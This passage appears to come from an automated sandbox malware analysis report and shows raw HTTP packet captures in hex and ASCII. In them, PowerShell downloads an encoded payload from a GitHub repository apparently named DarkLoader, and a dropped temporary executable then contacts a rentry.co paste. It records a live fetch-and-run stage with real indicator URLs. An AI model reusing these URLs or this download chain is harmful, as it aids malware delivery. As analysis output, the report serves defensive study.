NID=516=MKTdEa8n98jfdeZzyXwTVXO_YgnBAkCU9Kff8BxvKaHpsJouNzUxhgrYAU3gTnGC6-fIuCRRoCtS8xyMa_2l9i7r5PzoXj60nb05V1EafGjkv9z7mFZ0t3Cwgi5SARc8BiSluFvzG9HQO5kIJ620b2oyxFoyuXDJrf4tpGAnpWnaBxS1RwFrHuWe; expires=Tue, 04-Feb-2025 09:57:27 GMT; path=/; domain=.google.com; HttpOnly Accept-Ranges: none Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 33 31 62 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 2c 20 76 69 64 65 6f 73 20 61 6e 64 20 6d Data Ascii: 31be<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and m
Aug 5, 2024 11:57:27.473706961 CEST	1236	IN	Data Raw: 6f 72 65 2e 20 47 6f 6f 67 6c 65 20 68 61 73 20 6d 61 6e 79 20 73 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 Data Ascii: ore. Google has many special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/brandin
Aug 5, 2024 11:57:27.473716021 CEST	1236	IN	Data Raw: 33 36 37 2c 33 2c 31 39 34 2c 33 34 38 2c 35 37 30 2c 37 39 39 2c 31 38 31 2c 35 32 39 2c 31 38 35 38 2c 32 2c 39 30 36 2c 31 2c 31 39 36 30 2c 32 30 33 36 2c 39 32 2c 32 38 36 31 2c 32 31 2c 32 37 30 35 2c 34 31 36 35 2c 31 37 32 36 2c 32 33 38 Data Ascii: 367,3,194,348,570,799,181,529,1858,2,906,1,1960,2036,92,2861,21,2705,4165,1726,2380,1484,848,1962,127,13,559,98,2234,365,1,38,396,2041,1890,5,976,1285,2,1343,748,712,58,442,621,166,30,246,724,1,1427,387,732,1728,4709,3,204,1917,279,121,341,39,
Aug 5, 2024 11:57:27.473727942 CEST	1236	IN	Data Raw: 74 74 70 73 3a 22 26 26 28 67 6f 6f 67 6c 65 2e 6d 6c 26 26 67 6f 6f 67 6c 65 2e 6d 6c 28 45 72 72 6f 72 28 22 61 22 29 2c 21 31 2c 7b 73 72 63 3a 61 2c 67 6c 6d 6d 3a 31 7d 29 2c 61 3d 22 22 29 3b 72 65 74 75 72 6e 20 61 7d 0a 66 75 6e 63 74 69 Data Ascii: ttps:"&&(google.ml&&google.ml(Error("a"),!1,{src:a,glmm:1}),a="");return a}function t(a,b,c,d,k){var e="";b.search("&ei=")===-1&&(e="&ei="+p(d),b.search("&lei=")===-1&&(d=q(d))&&(e+="&lei="+d));d="";var g=b.search("&cshid=")===-1&&a!=="slh",f
Aug 5, 2024 11:57:27.473737955 CEST	1236	IN	Data Raw: 76 61 72 20 68 3b 28 68 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 41 6c 6c 7c 7c 28 68 2e 6c 6f 61 64 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 67 6f 6f 67 6c 65 2e 6c 71 2e 70 75 73 68 28 5b 61 2c 62 5d 29 7d 29 3b 67 6f 6f 67 6c 65 2e Data Ascii: var h;(h=google).loadAll\|\|(h.loadAll=function(a,b){google.lq.push([a,b])});google.bx=!1;var k;(k=google).lx\|\|(k.lx=function(){});var l=[],m;(m=google).fce\|\|(m.fce=function(a,b,c,n){l.push([a,b,c,n])});google.qce=l;}).call(this);google.f={};(fu
Aug 5, 2024 11:57:27.473748922 CEST	1236	IN	Data Raw: 2c 61 2c 70 2c 2e 68 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 63 72 6f 6c 6c 7d 23 67 6f 67 7b 70 61 64 64 69 6e 67 3a Data Ascii: ,a,p,.h{font-family:arial,sans-serif}body{margin:0;overflow-y:scroll}#gog{padding:3px 8px 0}td{line-height:.8em}.gac_m td{line-height:17px}form{margin-bottom:20px}.h{color:#1967d2}em{font-weight:bold;font-style:normal}.lst{height:25px;width:49
Aug 5, 2024 11:57:27.473761082 CEST	1236	IN	Data Raw: 3d 30 2c 72 2c 74 3d 67 6f 6f 67 6c 65 2e 65 72 64 2c 76 3d 74 2e 6a 73 72 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 64 2c 6d 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 32 3a 65 3b 62 26 26 28 72 3d 61 26 26 Data Ascii: =0,r,t=google.erd,v=t.jsr;google.ml=function(a,b,d,m,e){e=e===void 0?2:e;b&&(r=a&&a.message);d===void 0&&(d={});d.cad="ple_"+google.ple+".aple_"+google.aple;if(google.dl)return google.dl(a,e,d,!0),null;b=d;if(v<0){window.console&&console.error
Aug 5, 2024 11:57:27.473815918 CEST	1236	IN	Data Raw: 3d 62 29 2c 67 6f 6f 67 6c 65 2e 6d 6c 28 61 2c 21 31 2c 76 6f 69 64 20 30 2c 21 31 2c 61 2e 6e 61 6d 65 3d 3d 3d 22 53 79 6e 74 61 78 45 72 72 6f 72 22 7c 7c 61 2e 6d 65 73 73 61 67 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 31 31 29 3d 3d 3d 22 Data Ascii: =b),google.ml(a,!1,void 0,!1,a.name==="SyntaxError"\|\|a.message.substring(0,11)==="SyntaxError"\|\|a.message.indexOf("Script error")!==-1?3:0));r=null;p&&q>=l&&(window.onerror=null)};})();</script></head><body bgcolor="#fff"><script nonce="QTzAEY
Aug 5, 2024 11:57:27.473829985 CEST	1236	IN	Data Raw: 69 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 69 64 3d 67 62 66 20 63 6c 61 73 73 3d 67 62 66 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 69 64 3d 67 62 65 3e 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: i></span><span id=gbf class=gbf></span><span id=gbe></span><a href="http://www.google.com/history/optout?hl=en" class=gb4>Web History</a> \| <a href="/preferences?hl=en" class=gb4>Settings</a> \| <a target=_top id=gb_70 href="https://accounts.g
Aug 5, 2024 11:57:27.473844051 CEST	1236	IN	Data Raw: 3e 3c 2f 64 69 76 3e 3c 62 72 20 73 74 79 6c 65 3d 22 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 73 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 73 62 62 22 3e 3c 69 6e 70 75 74 20 63 6c 61 73 73 3d Data Ascii: ></div><br style="line-height:0"><span class="ds"><span class="lsbb"><input class="lsb" value="Google Search" name="btnG" type="submit"></span></span><span class="ds"><span class="lsbb"><input class="lsb" id="tsuid_1" value="I'm Feeling Lucky"
Aug 5, 2024 11:57:27.478683949 CEST	1236	IN	Data Raw: 75 2c 67 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 67 62 76 22 29 3b 67 26 26 28 67 2e 76 61 6c 75 65 3d 61 29 3b 66 26 26 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: u,g=document.getElementById("gbv");g&&(g.value=a);f&&window.setTimeout(function(){location.href=f},0)};}).call(this);</script></form><div style="font-size:83%;min-height:3.5em"><br></div><span id="footer"><div style="font-size:10pt"><div style

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	185.199.110.133	443	7832	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:57:28 UTC	169	OUT	GET /DevilBot000/DarkLoader/main/q64New.encode HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 7; Win64; x64) Host: raw.githubusercontent.com Cache-Control: no-cache
2024-08-05 09:57:28 UTC	905	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16409600 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "48d9861c72adecec7ff21a8c777f4ff2622e362af104a262b26ecc8d3a714868" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: DB9B:76A0E:144ECA9:16CB574:66B0A207 Accept-Ranges: bytes Date: Mon, 05 Aug 2024 09:57:28 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890033-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1722851848.071019,VS0,VE157 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 54016a9a0534c08990bf9372d9241e84355add48 Expires: Mon, 05 Aug 2024 10:02:28 GMT Source-Age: 0
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: 1f 1d d6 79 62 30 56 32 65 57 77 39 b2 95 41 79 f6 41 3d 3d 52 47 46 79 21 30 56 32 61 57 77 39 4d 6a 41 79 4e 41 3d 3d 52 47 46 79 61 30 56 32 61 57 77 39 4d 6a 41 79 4e 41 3d 3d 42 46 46 79 6f 2f ec 3c 61 e3 7e f4 6c d2 40 35 83 60 69 55 3b 34 66 09 13 5f 31 40 00 3a 57 5a 2c 04 2f 16 3a 61 5f 58 72 35 33 17 41 59 38 12 25 18 24 19 20 05 25 1c 60 4c 30 37 76 47 46 79 61 30 56 32 1f 43 3f 3e 77 1f 67 2d 74 34 1b 69 68 32 60 2d 10 3d 73 67 51 22 51 6d 3c 67 62 2c ec 34 1b 69 23 4a 64 2c 51 45 70 66 5b 22 51 6d 76 1f 67 2d 3f 4c 1a 68 6b 32 60 2d 5b 45 71 66 3e 22 51 6d 71 9e 62 2c 55 34 1b 69 6e b3 64 2c 54 45 70 66 5d a3 52 6c 66 1f 67 2d 1b b5 1f 68 6c 32 60 2d 34 c4 70 67 5a 22 51 6d 18 9e 65 2c 75 34 1b 69 00 2e 25 11 5b 45 70 66 61 57 77 39 4d 6a 41 Data Ascii: yb0V2eWw9AyA==RGFy!0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==BFFyo/<a~l@5`iU;4f_1@:WZ,/:a_Xr53AY8%$ %`L07vGFya0V2C?>wg-t4ih2`-=sgQ"Qm<gb,4i#Jd,QEpf["Qmvg-?Lhk2`-[Eqf>"Qmqb,U4ind,TEpf]Rlfg-hl2`-4pgZ"Qme,u4i.%[EpfaWw9MjA
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: d6 1c ba 20 b9 86 9e db 4e 7e ec 52 a1 17 b7 6a fb 79 ee 27 3d 75 df 4a d4 f7 f2 30 be 0f 64 57 77 0a 8d 22 c2 bd 76 82 f1 f1 9e 8b 8a b5 29 bd 53 0b 38 ad 77 fa 81 a6 8d b5 82 8d f1 f1 1e ce 0a 5d 41 7c df 76 45 4f 3f b0 19 4e 51 31 c7 0d 19 35 1a c4 aa 41 89 e3 a9 cd 9e 1f fc 75 69 32 09 f0 02 65 1d 71 d9 0b 62 29 2d bb 12 16 29 1f fc 6d 69 2a 09 f2 46 a9 fb a0 52 47 0e fa a5 08 95 fe ad 9b bb f5 81 a6 8d b5 82 8d f1 f1 1a ce 0a 5d 69 78 df 66 45 47 3b b0 09 4e 59 35 c7 0d 19 1d 1a c4 aa 41 29 bd 12 16 29 1f fe 7d 69 42 f8 78 4e 41 3d d5 f6 34 46 79 2d bb 1a 16 49 12 44 f9 05 e1 15 5d 0e 09 b6 f5 ba 28 b9 86 9e b9 12 16 41 1f b0 7d 69 42 41 79 4e 41 b6 79 76 67 0e fa a5 08 95 fe ad 9b bb f5 81 a6 8d b5 02 c8 71 19 72 0b cf 3d 45 28 1e bb 35 73 67 71 c4 Data Ascii: N~Rjy'=uJ0dWw"v)S8w]A\|vEO?NQ15Aui2eqb)-)mi*FRG]ixfEG;NY5A))}iBxNA=4Fy-ID](A}iBAyNAyvgqr=E(5sgq
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: 56 09 b4 69 76 57 0e f0 2d 14 5e 7a e2 bb 4f 71 c6 3e 65 31 06 ca 71 19 12 af 08 79 61 30 1e bb 64 88 24 c3 4d 22 c2 44 99 12 c7 3d 52 32 48 31 ec 3d 20 04 9b 57 9f c8 b7 95 be 92 68 09 b6 69 76 17 0e f2 6c 8b 05 c8 61 bf c9 3e 4d 6a 09 f0 0a 65 1d c2 06 63 66 31 ea 3d f0 61 9b 57 9f 80 47 6a 41 31 cd 85 05 fe 9e 8b 8a b5 29 b9 02 16 71 1f fe 75 69 62 09 fa a2 09 75 fa 16 63 7e 79 61 30 56 7a ec 52 05 28 4d 6a 09 f0 0a 65 0d 75 df 42 70 68 61 30 1e bb 25 73 5f 71 c0 6f ab 69 4e 41 75 b4 16 63 66 35 ec 3d c8 22 61 57 3b b4 48 3d 51 79 4e 09 b6 69 76 1f 0e f2 2d 14 06 da 79 57 77 39 05 e9 85 31 8d 8d f1 f1 9e 8b 8a b5 ad fc 9a fe ad 9b bb f5 81 a6 8d b5 02 c8 71 19 72 0b cf 3d 45 28 1e bb 35 73 67 71 c4 26 65 71 06 c0 d1 c5 52 47 46 31 a6 74 72 02 61 57 77 Data Ascii: VivW-^zOq>e1qya0d$M"D=R2H1= Whivla>Mjecf1=aWGjA1)quibuc~ya0VzR(MjeuBpha0%s_qoiNAucf5="aW;H=QyNiv-yWw91qr=E(5sgq&eqRGF1traWw
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: ca f5 6a 51 3c 3d 52 0f cf 31 49 78 dd 76 45 67 3f b2 c1 4e 59 78 4e 41 75 b4 1a 77 0e f2 25 14 66 7a ea db 53 19 4c 6a 41 31 c7 09 05 75 d9 03 62 49 29 bb da 16 49 56 77 39 05 e3 09 39 06 ca 79 19 62 0f cd f5 45 00 57 32 61 1f fe 71 05 22 ca 3d 6a 71 75 b6 de 63 7e 78 61 30 1e bb 29 0f 3f b2 09 4e 71 f2 c2 65 81 3d 52 47 cf 31 09 78 dd 76 45 67 3f b2 01 4e 19 31 c7 09 4d 75 d9 03 62 39 ea 70 02 b9 b1 1f fc b5 69 62 40 79 4e a9 4b 30 52 47 c3 b9 14 35 bf da 60 57 77 71 c6 2e 65 39 c5 01 69 75 d9 cb 62 41 60 30 56 7a e8 1b 53 19 0c d3 45 79 4e 41 7c 85 52 57 46 79 ea e0 1e b9 2d 73 4f c6 d9 4e 51 78 4e 41 75 b4 d6 63 de 79 61 30 1e b9 25 73 37 b2 0d 3e 05 f2 8e 09 b6 69 76 37 0e f2 ed 14 ce 32 61 57 9f a0 fc 6b 41 31 c5 05 19 4d 1a 24 06 45 29 bb da 16 f9 Data Ascii: jQ<=R1IxvEg?NYxNAuw%fzSLjA1ubI)IVw99ybEW2aq"=jquc~xa0)?Nqe=RG1xvEg?N1Mub9pib@yNK0RG5`Wwq.e9iubA`0VzSEyNA\|RWFy-sONQxNAucya0%s7>iv72aWkA1M$E)
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: c6 2a 55 40 0a 65 05 4b 5d fe 39 79 61 30 a9 27 e5 e9 76 39 7e aa aa 53 06 ca 79 19 62 cc 06 65 29 bb 1a 16 31 1f 74 f1 05 e1 80 f2 02 65 05 fc b3 45 cd b0 ea 34 5e 7a ea 1b 53 69 05 69 89 31 c5 80 75 bc 96 cf 46 79 61 f3 9a fe ad 9b bb f5 81 a6 8d b5 82 8d f1 f1 1a ce 0a 5d 69 78 d5 de 29 1f fc 7d 69 3a 09 f0 0a 65 15 75 d1 3b 62 51 61 45 53 db 7f 56 77 39 05 e1 05 5d 66 c2 45 21 52 33 6d 31 ea 74 72 1a 29 dc 77 b2 0d 42 09 f2 02 65 15 75 51 06 4e 31 e8 74 72 02 24 64 b7 0a 9f 22 ca 3d 6a 69 75 b6 1a 4f b9 2d 45 00 1e b9 25 73 5f 71 c6 22 11 91 7a e0 3d 3d 1a cc 02 5d 49 78 d5 4a 71 57 03 53 8a 2e 65 59 4e 41 3d 3d b9 4d cd 3d 45 10 a9 f2 e8 13 53 19 05 e1 05 5d 66 ca 7d 25 6b 03 62 59 1c 0a 1e 51 25 73 57 71 c6 26 65 51 06 ca 74 2d 1a c4 7a b8 61 44 75 Data Ascii: *U@eK]9ya0'v9~Sybe)1teE4^zSii1uFya]ix)}i:eu;bQaESVw9]fE!R3m1tr)wBeuQN1tr$d"=jiuO-E%s_q"z==]IxJqWS.eYNA==M=ES]f}%kbYQ%sWq&eQt-zaDu
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: 9e ef 4d 6a 41 31 c5 15 19 0d 1a cc 0a 5d 31 d8 b4 cc 9e a8 3f b0 09 4e 69 f2 0a 65 65 be b2 48 cf 3d 45 68 dd 76 45 0f fe 7d 69 4e ca 3d 6a 19 c2 f5 db 03 62 21 e2 4c 72 16 61 23 54 71 c6 2e 65 51 41 f6 3d c2 92 0f de 31 b0 d0 1e b9 b1 1f fc 75 69 42 a9 44 4c 41 3d 75 db 03 62 51 8a f4 1e b9 25 73 5f 36 fa 6a c4 b9 3b 60 84 2b 55 47 46 86 74 8f ee 33 61 ef 76 39 4d 6a 09 12 8e 41 75 b6 1e 63 26 bf 65 31 56 01 a1 bc 39 71 c6 2e 65 51 41 f6 3d b4 16 63 66 f2 25 14 3e 0b 25 73 57 4b 47 e1 05 5d 26 c8 79 19 72 ac 4b f2 25 14 76 7a ea 1b 53 59 8b 6e 40 79 c5 05 19 1d 1a cc 0a 5d 49 78 d5 f3 63 13 fc f9 05 e1 90 31 c5 0d 19 5d ba b4 ec 79 61 bb 12 16 41 1f f4 fd 05 a9 8d b5 82 8d f1 f1 16 ce 0a 5d 41 74 df 76 45 4f 3f b0 19 4e 51 31 c7 0d 19 35 1a c4 aa 51 25 Data Ascii: MjA1]1?NieeH=EhvE}iN=jb!Lra#Tq.eQA=1uiBDLA=ubQ%s_6j;`+UGFt3av9MjAuc&e1V9q.eQA=cf%>%sWKG]&yrK%vzSYn@y]Ixc1]yaA]AtvEO?NQ15Q%
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: 75 1f fc 6d 69 0a 09 7a 9f 09 b6 f7 16 cc 86 31 ea e1 1e b9 2d 73 37 d1 05 c8 40 79 f6 be c2 c2 ad 0f cd 35 45 70 1e 11 a9 1f fc f8 05 e1 0d 5d 76 c8 7c 35 bb 7e b8 86 9e 88 57 32 61 57 3f ba 89 32 82 b5 82 8d f1 f1 9e 8b 8a b5 ad fc 9a fe ad 9b bb f5 05 e3 15 5d 5e 09 b4 71 76 4f 0e fa 8d 28 1e b9 25 73 5f b2 0d 7a c8 7d 6a c2 01 19 52 32 78 31 ea 74 72 1a ea 17 53 ba ad 2a c4 b9 3a 51 75 b6 16 63 66 31 ea 30 dd 72 41 de 73 1d a6 75 09 f2 0a 65 15 b6 12 63 63 f9 61 30 56 b7 a1 23 79 71 c6 2e 65 59 06 ca 3d b6 12 63 cf 7d 45 bb 52 16 29 d4 b3 21 8e a6 8d b5 82 8d f1 f1 9e 8b 8a b5 29 b9 02 16 71 1f fe 75 69 62 09 fa a2 19 75 b6 16 63 2e 31 e2 48 46 32 14 5d cf 38 4d 6a 41 90 eb 40 3d 3d 1a cc 02 5d 09 bb 16 2a 44 57 77 39 4f ef 81 76 ca cc 3d 3d 52 0f cd Data Ascii: umiz1-s7@y5Ep]v\|5~W2aW?2]^qvO(%s_z}jR2x1trS:Qucf10rAsuecca0V#yq.eY=c}ER)!)quibuc.1HF2]8MjA@==]DWw9Ov==R
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: 13 01 a1 ed 76 39 4d 6a 09 f2 02 65 0d 75 d9 03 62 59 9e 20 1e b9 25 73 57 71 ce aa 49 31 c7 05 19 1d b9 96 fe 78 61 30 56 7a e2 93 3f fa 81 a6 8d b5 82 8d f1 f1 9e 8b 8a b5 ad fc 9a fe ad 9b bb f5 05 e3 15 5d 5e 09 b4 71 76 4f 0e f8 8d b8 56 32 61 1f fc bd 69 fa 41 79 4e 09 b6 7d 5a 0f cf 3d 45 68 1e b9 e5 73 e7 39 4d 6a 09 f2 4e f8 35 3d 52 47 0e 12 a8 35 1e bf e5 5f ff 39 4d 6a 09 f0 0a 65 6d 75 d9 03 62 29 e2 48 52 32 14 71 3f ba f1 4e d9 79 4e 41 3d 48 58 80 02 5d 51 31 56 32 61 bc 7f fe 09 4e 71 79 4e 41 3d b6 16 63 76 90 3c 31 56 32 29 dc 33 1d 1d e1 41 31 c5 0d 19 65 1a 44 8e 31 ea f1 1e bb 25 73 5f 71 c6 2e 65 51 cd 79 3d 32 d4 74 47 79 61 78 dd 76 45 7f fc 39 05 e1 0d 5d 16 09 3e f5 1a cc 87 31 e8 74 72 5a db 5f 77 39 4d 22 ca 35 6a 69 d5 ec a4 Data Ascii: v9MjeubY %sWqI1xa0Vz?]^qvOV2aiAyN}Z=Ehs9MjN5=RG5_9Mjemub)HR2q?NyNA=HX]Q1V2aNqyNA=cv<1V2)3A1eD1%s_q.eQy=2tGyaxvE9]>1trZ_w9M"5ji
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: 29 b9 02 16 71 1f fe 75 69 62 09 fa a2 79 75 b6 16 63 06 31 e8 74 72 1a 29 dc 33 1d 05 22 c8 3d 6a 61 75 b6 16 63 66 31 ea 20 1e b9 25 73 5f 71 c6 62 a9 b0 c5 41 3d 75 d1 83 7e ba ad fc 9a fe ad 9b bb f5 81 a6 8d b5 82 8d f1 f1 9e 8b 8a b5 29 b9 02 16 71 1f fe 75 69 62 09 fa a2 79 75 b6 16 63 06 31 e8 74 72 1a 29 dc 33 1d 05 22 c8 3d 6a 61 75 b6 16 63 66 31 ea 20 1e b9 25 73 5f 71 c6 62 a9 00 c5 41 3d 75 d1 83 7e ba ad fc 9a fe ad 9b bb f5 81 a6 8d b5 82 8d f1 f1 9e 8b 8a b5 2d b9 12 16 79 1f fe 6d 69 7a 09 f0 02 65 35 85 ea 57 46 79 89 07 51 32 61 1f 5c d9 05 e1 44 54 58 bb 3d 75 61 83 0e f0 e5 14 f6 22 61 57 3f b2 c9 4e 89 69 4e 41 75 be 92 57 0e f0 25 14 3e 7a a6 13 53 49 4d 6a 41 79 06 ca b9 19 82 57 46 79 29 f1 be 22 29 d2 b7 4d 37 d2 40 79 4e 41 75 Data Ascii: )quibyuc1tr)3"=jaucf1 %s_qbA=u~)quibyuc1tr)3"=jaucf1 %s_qbA=u~-ymize5WFyQ2a\DTX=ua"aW?NiNAuW%>zSIMjAyWFy)")M7@yNAu
2024-08-05 09:57:28 UTC	1378	IN	Data Raw: 8e c3 68 34 56 f2 29 d4 b3 19 16 22 be 5c 72 e5 3c 3d 1a ce 0a 5d 69 78 d5 de 59 ee 60 39 4d 6a be 6c 7e e5 3c 3d d7 87 32 7e d8 32 56 32 61 9a 5e 71 c0 67 b7 65 b4 41 d5 f4 53 47 46 31 ea 74 72 0a 29 de 72 e4 50 90 41 31 c3 05 19 05 1a c4 86 71 29 b9 53 5f 7c ad 77 71 c6 6f 87 64 b4 41 75 b4 57 70 5a 83 61 78 dd 76 45 17 3f b0 48 51 5c 83 4e 86 38 2c 4e bd 46 70 65 30 96 f5 64 5c 6b c3 4d 6b 41 79 4e 86 38 28 4e bd 46 78 61 30 56 8a 69 57 77 39 05 01 81 79 06 cc 30 30 4e bd 46 31 a6 34 57 30 61 57 77 81 45 6a 41 79 06 2a fd 3d 1a cc 4b ac 71 ca 56 7a e8 1b 73 19 f5 62 41 79 4e 09 56 fd 53 0f cd 74 61 21 ac 32 29 de 3b 3d 6d 22 cc 74 0a e7 3c 3d ba b8 b8 86 9e 78 d5 f6 59 94 bb f5 05 e9 ad 51 f7 49 3d 3d 52 af 40 79 61 30 1e b1 a5 7f b4 f5 c4 26 65 71 06 Data Ascii: h4V)"\r<=]ixY`9Mjl~<=2~2V2a^qgeASGF1tr)rPA1q)S_\|wqodAuWpZaxvE?HQ\N8,NFpe0d\kMkAyN8(NFxa0ViWw9y00NF14W0aWwEjAy*=KqVzsbAyNVSta!2);=m"t<=xYQI==R@ya0&eq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	104.26.3.16	443	928	C:\Users\user\AppData\Local\Temp\DLL814C.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:57:53 UTC	143	OUT	GET /zsbkz/raw%C3%ABH%02 HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:57:53 UTC	656	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 09:57:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VO47pj1QnOifgjbFwzHkPrmMr4AeUWZS8%2BDJYAAyiLQU8gGPNNQeMooWD332b3RSVKVycvrF7bVV5GYS9f1bDrgedmPn%2FfvbZ0tD11qBOq2EZjJaXE8gsxpf%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5ecf15e987ca8-EWR
2024-08-05 09:57:53 UTC	713	IN	Data Raw: 31 30 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: 10e2<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" content=
2024-08-05 09:57:53 UTC	1369	IN	Data Raw: 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 20 53 65 72 76 69 63 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 Data Ascii: property="og:url" content="https://rentry.co/" /> <meta property="og:title" content="Rentry.co - Markdown Paste Service" /> <meta property="og:description" content="Markdown paste service with preview, custom urls and editing." /> <meta proper
